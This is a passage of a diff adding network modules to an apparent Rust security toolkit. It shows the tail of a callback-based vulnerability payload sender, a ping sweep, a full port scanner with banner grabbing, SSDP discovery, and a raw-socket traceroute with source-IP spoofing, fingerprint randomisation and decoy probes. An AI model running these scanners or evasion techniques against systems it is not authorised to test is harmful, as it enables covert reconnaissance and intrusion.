|
||||
Ok(resp) => {
|
||||
println!("[+] {} -> status {}", url, resp.status());
|
||||
}
|
||||
Err(e) => {
|
||||
println!("[-] Failed {}: {}", url, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[*] Payload sent. Check your callback server for any connections to confirm vulnerability.");
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
pub mod sample_scanner;
|
||||
pub mod ssdp_msearch;
|
||||
pub mod port_scanner;
|
||||
pub mod stalkroute_full_traceroute;
|
||||
pub mod http_title_scanner;
|
||||
pub mod ping_sweep;
|
||||
pub mod log4j_scanner;
|
||||
pub mod heartbleed_scanner;
|
||||
@@ -0,0 +1,47 @@
|
||||
use anyhow::{Result, Context};
|
||||
use ipnet::IpNet;
|
||||
use std::net::IpAddr;
|
||||
use std::sync::Arc;
|
||||
use std::io::{self, Write};
|
||||
use tokio::{process::Command, sync::Semaphore, time::{timeout, Duration}};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
pub async fn run_interactive(_target: &str) -> Result<()> {
|
||||
print!("Enter CIDR range to sweep: ");
|
||||
io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let net: IpNet = input.trim().parse().context("Use CIDR notation like 192.168.1.0/24")?;
|
||||
let hosts: Vec<IpAddr> = net.hosts().collect();
|
||||
let semaphore = Arc::new(Semaphore::new(50));
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for ip in hosts {
|
||||
let sem = semaphore.clone();
|
||||
let ip_str = ip.to_string();
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = sem.acquire_owned().await.unwrap();
|
||||
let cmd = if ip.is_ipv4() { "ping" } else { "ping6" };
|
||||
let result = timeout(
|
||||
Duration::from_secs(3),
|
||||
Command::new(cmd)
|
||||
.args(["-c", "1", "-W", "1", &ip_str])
|
||||
.output(),
|
||||
)
|
||||
.await;
|
||||
if let Ok(Ok(out)) = result {
|
||||
if out.status.success() {
|
||||
println!("[+] Host {} is up", ip_str);
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
for t in tasks {
|
||||
let _ = t.await;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,247 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{self, Write, BufWriter},
|
||||
net::{SocketAddr, ToSocketAddrs},
|
||||
sync::{Arc, Mutex},
|
||||
};
|
||||
use tokio::{
|
||||
net::{TcpStream, UdpSocket},
|
||||
sync::Semaphore,
|
||||
time::{timeout, Duration},
|
||||
};
|
||||
|
||||
#[derive(Debug)]
|
||||
pub struct ScanSettings {
|
||||
pub concurrency: usize,
|
||||
pub timeout_secs: u64,
|
||||
pub show_only_open: bool,
|
||||
pub verbose: bool,
|
||||
pub scan_udp_enabled: bool,
|
||||
pub output_file: String,
|
||||
}
|
||||
|
||||
/// Interactive config prompt
|
||||
pub fn prompt_settings() -> Result<ScanSettings> {
|
||||
Ok(ScanSettings {
|
||||
concurrency: prompt_usize("Concurrency: ")?,
|
||||
timeout_secs: prompt_usize("Timeout (in seconds): ")? as u64,
|
||||
show_only_open: prompt_bool("Show only open ports? (y/n): ")?,
|
||||
verbose: prompt_bool("Verbose output? (y/n): ")?,
|
||||
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n): ")?,
|
||||
output_file: prompt("Output filename: ")?,
|
||||
})
|
||||
}
|
||||
|
||||
/// Main entrypoint for interactive CLI mode
|
||||
pub async fn run_interactive(target: &str) -> Result<()> {
|
||||
let settings = prompt_settings()?;
|
||||
run_with_settings(
|
||||
target,
|
||||
settings.concurrency,
|
||||
settings.timeout_secs,
|
||||
settings.show_only_open,
|
||||
settings.verbose,
|
||||
settings.scan_udp_enabled,
|
||||
&settings.output_file,
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
/// === Core Scanner Logic ===
|
||||
pub async fn run_with_settings(
|
||||
target: &str,
|
||||
concurrency: usize,
|
||||
timeout_secs: u64,
|
||||
show_only_open: bool,
|
||||
verbose: bool,
|
||||
scan_udp_enabled: bool,
|
||||
output_file: &str,
|
||||
) -> Result<()> {
|
||||
// Resolve domain or IP
|
||||
let (resolved_ip_str, resolved_ip) = resolve_target(target)?;
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let file = Arc::new(Mutex::new(BufWriter::new(File::create(output_file)?)));
|
||||
let mut tasks = vec![];
|
||||
|
||||
println!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str);
|
||||
writeln!(file.lock().unwrap(), "Scan Results for {} ({})\n", target, resolved_ip_str)?;
|
||||
|
||||
let progress_bar = Arc::new(Mutex::new(ProgressBar::new(65535 * (1 + scan_udp_enabled as usize))));
|
||||
|
||||
// TCP Scan loop
|
||||
println!("[*] Starting TCP scan...");
|
||||
for port in 1..=65535u16 {
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let file = file.clone();
|
||||
let progress_bar = progress_bar.clone();
|
||||
let ip = resolved_ip;
|
||||
let ip_str = resolved_ip_str.clone();
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
if let Some((status, banner)) = scan_tcp(&ip, port, timeout_secs).await {
|
||||
let line = format!("[TCP] {}:{} => {}", ip_str, port, status);
|
||||
if status == "OPEN" || !show_only_open {
|
||||
if !banner.is_empty() {
|
||||
let _ = writeln!(file.lock().unwrap(), "{} | Banner: {}", line, banner);
|
||||
if verbose {
|
||||
println!("{} | Banner: {}", line, banner);
|
||||
}
|
||||
} else {
|
||||
let _ = writeln!(file.lock().unwrap(), "{}", line);
|
||||
if verbose {
|
||||
println!("{}", line);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
progress_bar.lock().unwrap().increment();
|
||||
});
|
||||
tasks.push(handle);
|
||||
}
|
||||
|
||||
// UDP Scan loop
|
||||
if scan_udp_enabled {
|
||||
println!("[*] Starting UDP scan...");
|
||||
for port in 1..=65535u16 {
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let file = file.clone();
|
||||
let progress_bar = progress_bar.clone();
|
||||
let ip = resolved_ip;
|
||||
let ip_str = resolved_ip_str.clone();
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
if let Some(status) = scan_udp(&ip, port, timeout_secs).await {
|
||||
let line = format!("[UDP] {}:{} => {}", ip_str, port, status);
|
||||
if status == "OPEN" || !show_only_open {
|
||||
let _ = writeln!(file.lock().unwrap(), "{}", line);
|
||||
if verbose {
|
||||
println!("{}", line);
|
||||
}
|
||||
}
|
||||
}
|
||||
progress_bar.lock().unwrap().increment();
|
||||
});
|
||||
tasks.push(handle);
|
||||
}
|
||||
}
|
||||
|
||||
// Await all tasks
|
||||
for task in tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
|
||||
println!("[*] Scan complete. Results saved to {}", output_file);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// === TCP Port Scanner (Banner Grab) ===
|
||||
async fn scan_tcp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<(String, String)> {
|
||||
let addr = SocketAddr::new(*ip, port);
|
||||
match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(addr)).await {
|
||||
Ok(Ok(stream)) => {
|
||||
let mut buf = [0u8; 1024];
|
||||
// Try reading immediately if service gives banner (FTP, SMTP, HTTP, etc)
|
||||
match timeout(Duration::from_secs(2), stream.readable()).await {
|
||||
Ok(Ok(())) => match stream.try_read(&mut buf) {
|
||||
Ok(n) if n > 0 => {
|
||||
let banner = String::from_utf8_lossy(&buf[..n]).to_string();
|
||||
Some(("OPEN".into(), banner))
|
||||
}
|
||||
_ => Some(("OPEN".into(), "".into())),
|
||||
},
|
||||
_ => Some(("OPEN".into(), "".into())),
|
||||
}
|
||||
}
|
||||
Ok(Err(_)) => Some(("CLOSED".into(), "".into())),
|
||||
Err(_) => Some(("TIMEOUT".into(), "".into())),
|
||||
}
|
||||
}
|
||||
|
||||
/// === UDP Port Scanner (Stateless "Fire-and-Forget") ===
|
||||
async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<String> {
|
||||
// We bind to a random UDP port on localhost
|
||||
let bind_addr = if ip.is_ipv4() { "0.0.0.0:0" } else { "[::]:0" };
|
||||
let sock = match UdpSocket::bind(bind_addr).await {
|
||||
Ok(s) => s,
|
||||
Err(_) => return Some("ERROR".into()),
|
||||
};
|
||||
|
||||
let target = SocketAddr::new(*ip, port);
|
||||
let payload = b"\x00\x00\x10\x10"; // Random small packet
|
||||
let _ = sock.send_to(payload, target).await;
|
||||
// Set a timeout: if port is closed, we should get "Connection refused"
|
||||
let mut buf = [0u8; 512];
|
||||
match timeout(Duration::from_secs(timeout_secs), sock.recv_from(&mut buf)).await {
|
||||
Ok(Ok((_len, _src))) => Some("OPEN".into()), // Got a response!
|
||||
Ok(Err(_)) => Some("CLOSED".into()), // ICMP port unreachable
|
||||
Err(_) => Some("FILTERED".into()), // No response
|
||||
}
|
||||
}
|
||||
|
||||
/// === Target Resolution ===
|
||||
fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
|
||||
let cleaned = input.trim().trim_start_matches('[').trim_end_matches(']');
|
||||
let addrs: Vec<_> = (cleaned, 0).to_socket_addrs()?.collect();
|
||||
// Prefer IPv4, else fallback to first address
|
||||
if let Some(addr) = addrs.iter().find(|a| a.is_ipv4()) {
|
||||
Ok((addr.ip().to_string(), addr.ip()))
|
||||
} else if let Some(addr) = addrs.first() {
|
||||
Ok((addr.ip().to_string(), addr.ip()))
|
||||
} else {
|
||||
Err(anyhow!("Could not resolve target '{}'", input))
|
||||
}
|
||||
}
|
||||
|
||||
/// === Prompt Utilities ===
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}", message);
|
||||
io::stdout().flush()?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
Ok(buf.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_bool(message: &str) -> Result<bool> {
|
||||
loop {
|
||||
let input = prompt(message)?;
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("Please enter 'y' or 'n'."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_usize(message: &str) -> Result<usize> {
|
||||
loop {
|
||||
let input = prompt(message)?;
|
||||
if let Ok(n) = input.parse::<usize>() {
|
||||
return Ok(n);
|
||||
}
|
||||
println!("Please enter a valid number.");
|
||||
}
|
||||
}
|
||||
|
||||
/// === Progress Bar Struct ===
|
||||
struct ProgressBar {
|
||||
total: usize,
|
||||
current: usize,
|
||||
}
|
||||
impl ProgressBar {
|
||||
fn new(total: usize) -> Self {
|
||||
ProgressBar { total, current: 0 }
|
||||
}
|
||||
fn increment(&mut self) {
|
||||
self.current += 1;
|
||||
if self.current % 1000 == 0 || self.current == self.total {
|
||||
println!("[*] Progress: {}/{}", self.current, self.total);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
use anyhow::{Result, Context};
|
||||
use reqwest;
|
||||
|
||||
/// A simple scanner that tries an HTTP GET and prints the response code
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Running sample_scanner on: {}", target);
|
||||
|
||||
let url = format!("http://{}", target);
|
||||
let resp = reqwest::get(&url)
|
||||
.await
|
||||
.context("Failed to send request")?;
|
||||
|
||||
println!("[*] Status code: {}", resp.status());
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,111 @@
|
||||
use anyhow::{Result};
|
||||
use regex::Regex;
|
||||
use std::collections::HashMap;
|
||||
use std::net::SocketAddr;
|
||||
use tokio::net::UdpSocket;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let port = prompt_port().unwrap_or(1900);
|
||||
|
||||
let target = clean_ipv6_brackets(target);
|
||||
|
||||
let addr = normalize_target(&target, port)?;
|
||||
|
||||
println!("[*] Sending SSDP M-SEARCH to {}...", addr);
|
||||
|
||||
let local_bind: SocketAddr = "0.0.0.0:0".parse()?;
|
||||
let socket = UdpSocket::bind(local_bind).await?;
|
||||
socket.connect(&addr).await?;
|
||||
|
||||
let request = format!(
|
||||
"M-SEARCH * HTTP/1.1\r\n\
|
||||
HOST: {}:{}\r\n\
|
||||
MAN: \"ssdp:discover\"\r\n\
|
||||
MX: 2\r\n\
|
||||
ST: upnp:rootdevice\r\n\r\n",
|
||||
target, port
|
||||
);
|
||||
|
||||
socket.send(request.as_bytes()).await?;
|
||||
|
||||
let mut buf = vec![0u8; 2048];
|
||||
match timeout(Duration::from_secs(3), socket.recv(&mut buf)).await {
|
||||
Ok(Ok(size)) => {
|
||||
let response = String::from_utf8_lossy(&buf[..size]);
|
||||
parse_ssdp_response(&response, &target, port);
|
||||
}
|
||||
_ => {
|
||||
println!("[-] Target did not respond to M-SEARCH request");
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Normalize the target: IPv6 -> [ipv6]:port, IPv4 stays as ipv4:port
|
||||
fn normalize_target(target: &str, port: u16) -> Result<String> {
|
||||
let addr = if target.contains(':') && !target.contains(']') {
|
||||
// Plain IPv6 without brackets
|
||||
format!("[{}]:{}", target, port)
|
||||
} else if target.contains('[') {
|
||||
// Already bracketed IPv6 (sanitize just in case)
|
||||
format!("[{}]:{}", target.trim_matches(&['[', ']'][..]), port)
|
||||
} else {
|
||||
// IPv4 or hostname
|
||||
format!("{}:{}", target, port)
|
||||
};
|
||||
Ok(addr)
|
||||
}
|
||||
|
||||
/// Cleans up accidental double or triple brackets like [[::1]] → ::1
|
||||
fn clean_ipv6_brackets(ip: &str) -> String {
|
||||
ip.trim_start_matches('[')
|
||||
.trim_end_matches(']')
|
||||
.to_string()
|
||||
}
|
||||
|
||||
/// Ask user for port (optional), fallback to 1900 if empty
|
||||
fn prompt_port() -> Option<u16> {
|
||||
println!("[*] Enter custom port (default 1900): ");
|
||||
let mut input = String::new();
|
||||
if let Ok(_) = std::io::stdin().read_line(&mut input) {
|
||||
let input = input.trim();
|
||||
if input.is_empty() {
|
||||
return None;
|
||||
}
|
||||
if let Ok(p) = input.parse::<u16>() {
|
||||
return Some(p);
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
|
||||
let regexps = vec![
|
||||
("server", r"(?i)Server:\s*(.*?)\r\n"),
|
||||
("location", r"(?i)Location:\s*(.*?)\r\n"),
|
||||
("usn", r"(?i)USN:\s*(.*?)\r\n"),
|
||||
];
|
||||
|
||||
let mut results: HashMap<&str, String> = HashMap::new();
|
||||
|
||||
for (key, pattern) in regexps {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
if let Some(caps) = re.captures(response) {
|
||||
results.insert(key, caps.get(1).map(|m| m.as_str()).unwrap_or("").to_string());
|
||||
} else {
|
||||
results.insert(key, String::from(""));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!(
|
||||
"[+] {}:{} | {} | {} | {}",
|
||||
target_ip,
|
||||
port,
|
||||
results.get("server").unwrap_or(&"".to_string()),
|
||||
results.get("location").unwrap_or(&"".to_string()),
|
||||
results.get("usn").unwrap_or(&"".to_string())
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,444 @@
|
||||
use pnet_packet::ip::IpNextHeaderProtocols;
|
||||
use pnet_packet::ipv4::{self, MutableIpv4Packet};
|
||||
use pnet_packet::icmp::{self, echo_request, echo_reply, IcmpTypes};
|
||||
use pnet_packet::udp::{self, MutableUdpPacket};
|
||||
use pnet_packet::tcp::{self, MutableTcpPacket, TcpFlags};
|
||||
use pnet_packet::Packet;
|
||||
use pnet_packet::icmp::IcmpPacket;
|
||||
use std::sync::Arc;
|
||||
|
||||
use rand::Rng;
|
||||
use rand::distr::Alphanumeric;
|
||||
|
||||
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use std::io::{stdin, stdout, Write};
|
||||
|
||||
|
||||
use tokio::time::{Instant, Duration};
|
||||
use tokio::task;
|
||||
|
||||
use socket2::{Domain, Protocol, Socket, Type};
|
||||
|
||||
use colored::*;
|
||||
|
||||
use anyhow::{Result, Context, bail};
|
||||
|
||||
use std::mem::MaybeUninit;
|
||||
|
||||
const IPV4_FLAG_DF: u16 = 2;
|
||||
|
||||
|
||||
const USE_RANDOM_OS_SIG: bool = true;
|
||||
const SPOOF_SRC_IP_CONFIG: Option<&str> = None;
|
||||
const JITTER_RANGE: (f32, f32) = (0.2, 1.1);
|
||||
const MAX_TTL: u8 = 30;
|
||||
const PROBE_COUNT: usize = 3;
|
||||
const DECOY_PROB: f64 = 0.35;
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
struct OsSignatureParams {
|
||||
id: u16,
|
||||
tos: u8,
|
||||
df_flag: bool,
|
||||
}
|
||||
|
||||
fn generate_os_signature() -> OsSignatureParams {
|
||||
let mut rng = rand::rng();
|
||||
if !USE_RANDOM_OS_SIG {
|
||||
return OsSignatureParams {
|
||||
id: rng.random(),
|
||||
tos: 0,
|
||||
df_flag: false,
|
||||
};
|
||||
}
|
||||
|
||||
let sigs = [
|
||||
OsSignatureParams { id: rng.random_range(0x4000..=0xffff), tos: 0, df_flag: true },
|
||||
OsSignatureParams { id: rng.random(), tos: 0, df_flag: false },
|
||||
OsSignatureParams { id: rng.random(), tos: 0, df_flag: true },
|
||||
OsSignatureParams { id: rng.random(), tos: 0x10, df_flag: false },
|
||||
];
|
||||
sigs[rng.random_range(0..sigs.len())].clone()
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq)]
|
||||
enum ProbeProtocolType {
|
||||
Icmp,
|
||||
Udp,
|
||||
Tcp,
|
||||
}
|
||||
|
||||
impl ProbeProtocolType {
|
||||
fn to_ip_next_header_protocol(&self) -> pnet_packet::ip::IpNextHeaderProtocol {
|
||||
match self {
|
||||
ProbeProtocolType::Icmp => IpNextHeaderProtocols::Icmp,
|
||||
ProbeProtocolType::Udp => IpNextHeaderProtocols::Udp,
|
||||
ProbeProtocolType::Tcp => IpNextHeaderProtocols::Tcp,
|
||||
}
|
||||
}
|
||||
|
||||
fn to_string_lc(&self) -> String {
|
||||
match self {
|
||||
ProbeProtocolType::Icmp => "icmp".to_string(),
|
||||
ProbeProtocolType::Udp => "udp".to_string(),
|
||||
ProbeProtocolType::Tcp => "tcp".to_string(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct ReceivedIcmpInfo {
|
||||
icmp_type: u8,
|
||||
description: String,
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct ProbeSingleResponse {
|
||||
source_ip: Ipv4Addr,
|
||||
rtt_ms: f32,
|
||||
icmp_info: ReceivedIcmpInfo,
|
||||
probe_protocol_used: String,
|
||||
}
|
||||
|
||||
fn craft_probe_packet(
|
||||
dst_ip: Ipv4Addr,
|
||||
current_ttl: u8,
|
||||
src_ip_override: Option<Ipv4Addr>,
|
||||
icmp_id_val: u16,
|
||||
icmp_seq_val: u16,
|
||||
) -> Result<(Vec<u8>, ProbeProtocolType, OsSignatureParams)> {
|
||||
const IPV4_HEADER_LEN: usize = 20;
|
||||
|
||||
let mut rng = rand::rng();
|
||||
let sig = generate_os_signature();
|
||||
|
||||
let mut protocol_type = ProbeProtocolType::Icmp;
|
||||
if rng.random_bool(DECOY_PROB) {
|
||||
protocol_type = if rng.random_bool(0.5) {
|
||||
ProbeProtocolType::Udp
|
||||
} else {
|
||||
ProbeProtocolType::Tcp
|
||||
};
|
||||
}
|
||||
|
||||
let payload_size = rng.random_range(24..=56);
|
||||
let payload: Vec<u8> = rng.clone()
|
||||
.sample_iter(&Alphanumeric)
|
||||
.take(payload_size)
|
||||
.map(|c| c as u8)
|
||||
.collect();
|
||||
|
||||
let (transport_header_len, transport_packet_data) = match protocol_type {
|
||||
ProbeProtocolType::Icmp => {
|
||||
let mut buf = vec![0u8; 8 + payload.len()];
|
||||
let mut pkt = echo_request::MutableEchoRequestPacket::new(&mut buf).unwrap();
|
||||
pkt.set_icmp_type(IcmpTypes::EchoRequest);
|
||||
pkt.set_icmp_code(echo_request::IcmpCodes::NoCode);
|
||||
pkt.set_identifier(icmp_id_val);
|
||||
pkt.set_sequence_number(icmp_seq_val);
|
||||
pkt.set_payload(&payload);
|
||||
let view = IcmpPacket::new(pkt.packet()).unwrap();
|
||||
pkt.set_checksum(icmp::checksum(&view));
|
||||
(buf.len(), buf)
|
||||
}
|
||||
ProbeProtocolType::Udp => {
|
||||
let mut buf = vec![0u8; 8 + payload.len()];
|
||||
let mut pkt = MutableUdpPacket::new(&mut buf).unwrap();
|
||||
pkt.set_source(rng.random_range(33434..=65535));
|
||||
pkt.set_destination(rng.random_range(33434..=65535));
|
||||
pkt.set_length((8 + payload.len()) as u16);
|
||||
pkt.set_payload(&payload);
|
||||
let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0));
|
||||
pkt.set_checksum(udp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip));
|
||||
(buf.len(), buf)
|
||||
}
|
||||
ProbeProtocolType::Tcp => {
|
||||
let mut buf = vec![0u8; 20 + payload.len()];
|
||||
let mut pkt = MutableTcpPacket::new(&mut buf).unwrap();
|
||||
pkt.set_source(rng.random_range(33434..=65535));
|
||||
pkt.set_destination(rng.random_range(33434..=65535));
|
||||
pkt.set_sequence(rng.random());
|
||||
pkt.set_acknowledgement(0);
|
||||
pkt.set_data_offset(5);
|
||||
pkt.set_flags(TcpFlags::SYN);
|
||||
pkt.set_window(rng.random_range(1024..=65535));
|
||||
pkt.set_urgent_ptr(0);
|
||||
pkt.set_payload(&payload);
|
||||
let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0));
|
||||
pkt.set_checksum(tcp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip));
|
||||
(buf.len(), buf)
|
||||
}
|
||||
};
|
||||
|
||||
let total_len = (IPV4_HEADER_LEN + transport_header_len) as u16;
|
||||
let mut ip_buf = vec![0u8; total_len as usize];
|
||||
|
||||
let src_ip = src_ip_override
|
||||
.or_else(|| SPOOF_SRC_IP_CONFIG.map(str::parse).transpose().unwrap())
|
||||
.unwrap_or(Ipv4Addr::new(0,0,0,0));
|
||||
|
||||
{
|
||||
let mut ip = MutableIpv4Packet::new(&mut ip_buf).unwrap();
|
||||
ip.set_version(4);
|
||||
ip.set_header_length(5);
|
||||
ip.set_total_length(total_len);
|
||||
ip.set_identification(sig.id);
|
||||
ip.set_ttl(current_ttl);
|
||||
ip.set_next_level_protocol(protocol_type.to_ip_next_header_protocol());
|
||||
ip.set_source(src_ip);
|
||||
ip.set_destination(dst_ip);
|
||||
ip.set_dscp(sig.tos >> 2);
|
||||
ip.set_ecn(sig.tos & 0x03);
|
||||
let mut flags = 0;
|
||||
if sig.df_flag {
|
||||
flags |= IPV4_FLAG_DF;
|
||||
}
|
||||
ip.set_flags(flags.try_into().unwrap());
|
||||
ip.set_payload(&transport_packet_data);
|
||||
ip.set_checksum(ipv4::checksum(&ip.to_immutable()));
|
||||
}
|
||||
|
||||
Ok((ip_buf, protocol_type, sig))
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
async fn send_and_receive_one(
|
||||
target_final_dst_ip: Ipv4Addr,
|
||||
probe_packet_bytes: &[u8],
|
||||
probe_protocol: ProbeProtocolType,
|
||||
probe_ip_id: u16,
|
||||
probe_icmp_echo_id: u16,
|
||||
probe_icmp_echo_seq: u16,
|
||||
timeout: Duration,
|
||||
) -> Result<Option<ProbeSingleResponse>> {
|
||||
let sender_socket = Socket::new(
|
||||
Domain::IPV4,
|
||||
Type::RAW,
|
||||
Some(Protocol::from(libc::IPPROTO_RAW)),
|
||||
)
|
||||
.context("Failed to create sender raw socket")?;
|
||||
sender_socket
|
||||
.set_header_included_v4(true)
|
||||
.context("Failed to set IP_HDRINCL on sender socket")?;
|
||||
|
||||
let receiver_socket = Arc::new(
|
||||
Socket::new(Domain::IPV4, Type::RAW, Some(Protocol::ICMPV4))
|
||||
.context("Failed to create receiver raw socket for ICMP")?,
|
||||
);
|
||||
receiver_socket
|
||||
.set_read_timeout(Some(Duration::from_millis(200)))
|
||||
.context("Failed to set read timeout on receiver socket")?;
|
||||
|
||||
let dst_addr = SocketAddr::new(IpAddr::V4(target_final_dst_ip), 0);
|
||||
sender_socket
|
||||
.send_to(probe_packet_bytes, &dst_addr.into())
|
||||
.context("Failed to send raw IP packet")?;
|
||||
|
||||
let start = Instant::now();
|
||||
loop {
|
||||
if start.elapsed() >= timeout {
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
let sock_clone = receiver_socket.try_clone().expect("Socket clone failed");
|
||||
let recv = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
|
||||
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
|
||||
match sock_clone.recv_from(&mut buf) {
|
||||
Ok((len, addr)) => {
|
||||
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
|
||||
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
|
||||
Ok(Some((slice.to_vec(), sock_addr)))
|
||||
}
|
||||
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
})
|
||||
.await
|
||||
.context("Blocking task for recv_from failed")?;
|
||||
|
||||
if let Some((data, sa)) = recv? {
|
||||
let rtt = start.elapsed().as_secs_f32() * 1000.0;
|
||||
let responder = if let IpAddr::V4(ip) = sa.ip() { ip } else { continue; };
|
||||
|
||||
if let Some(ip_pkt) = ipv4::Ipv4Packet::new(&data) {
|
||||
if ip_pkt.get_next_level_protocol() == IpNextHeaderProtocols::Icmp {
|
||||
if let Some(icmp_pkt) = icmp::IcmpPacket::new(ip_pkt.payload()) {
|
||||
let icmp_type = icmp_pkt.get_icmp_type();
|
||||
let _ = icmp_pkt.get_icmp_code();
|
||||
let mut matched = false;
|
||||
|
||||
if icmp_type == IcmpTypes::TimeExceeded || icmp_type == IcmpTypes::DestinationUnreachable {
|
||||
if let Some(inner) = ipv4::Ipv4Packet::new(icmp_pkt.payload()) {
|
||||
if inner.get_destination() == target_final_dst_ip && inner.get_identification() == probe_ip_id {
|
||||
let proto = inner.get_next_level_protocol();
|
||||
match probe_protocol {
|
||||
ProbeProtocolType::Icmp => {
|
||||
if proto == IpNextHeaderProtocols::Icmp {
|
||||
if let Some(echo_req) = echo_request::EchoRequestPacket::new(inner.payload()) {
|
||||
if echo_req.get_icmp_type() == IcmpTypes::EchoRequest
|
||||
&& echo_req.get_identifier() == probe_icmp_echo_id
|
||||
&& echo_req.get_sequence_number() == probe_icmp_echo_seq
|
||||
{
|
||||
matched = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
ProbeProtocolType::Udp | ProbeProtocolType::Tcp => {
|
||||
if proto == probe_protocol.to_ip_next_header_protocol() {
|
||||
matched = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} else if icmp_type == IcmpTypes::EchoReply && probe_protocol == ProbeProtocolType::Icmp {
|
||||
if let Some(reply) = echo_reply::EchoReplyPacket::new(icmp_pkt.packet()) {
|
||||
if reply.get_identifier() == probe_icmp_echo_id
|
||||
&& reply.get_sequence_number() == probe_icmp_echo_seq
|
||||
&& responder == target_final_dst_ip
|
||||
{
|
||||
matched = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if matched {
|
||||
let desc = match icmp_type {
|
||||
IcmpTypes::EchoReply => "echo-reply".to_string(),
|
||||
IcmpTypes::DestinationUnreachable => "unreachable".to_string(),
|
||||
IcmpTypes::TimeExceeded => "time-exceeded".to_string(),
|
||||
_ => format!("type {}", icmp_type.0),
|
||||
};
|
||||
return Ok(Some(ProbeSingleResponse {
|
||||
source_ip: responder,
|
||||
rtt_ms: rtt,
|
||||
icmp_info: ReceivedIcmpInfo { icmp_type: icmp_type.0, description: desc },
|
||||
probe_protocol_used: probe_protocol.to_string_lc(),
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
}
|
||||
}
|
||||
|
||||
async fn execute_traceroute(target_name: &str) -> Result<()> {
|
||||
println!("{}", format!("[+] Traceroute to {} (max {} hops)", target_name, MAX_TTL).cyan());
|
||||
|
||||
let resolved_ips = tokio::net::lookup_host(format!("{}:0", target_name))
|
||||
.await
|
||||
.with_context(|| format!("Could not resolve target: {}", target_name))?;
|
||||
|
||||
let mut target_ipv4: Option<Ipv4Addr> = None;
|
||||
for sock_addr in resolved_ips {
|
||||
if let IpAddr::V4(ipv4) = sock_addr.ip() {
|
||||
target_ipv4 = Some(ipv4);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
let dst_ip = match target_ipv4 {
|
||||
Some(ip) => ip,
|
||||
None => bail!("Could not resolve {} to an IPv4 address", target_name),
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Resolved {} to {}", target_name, dst_ip).green());
|
||||
|
||||
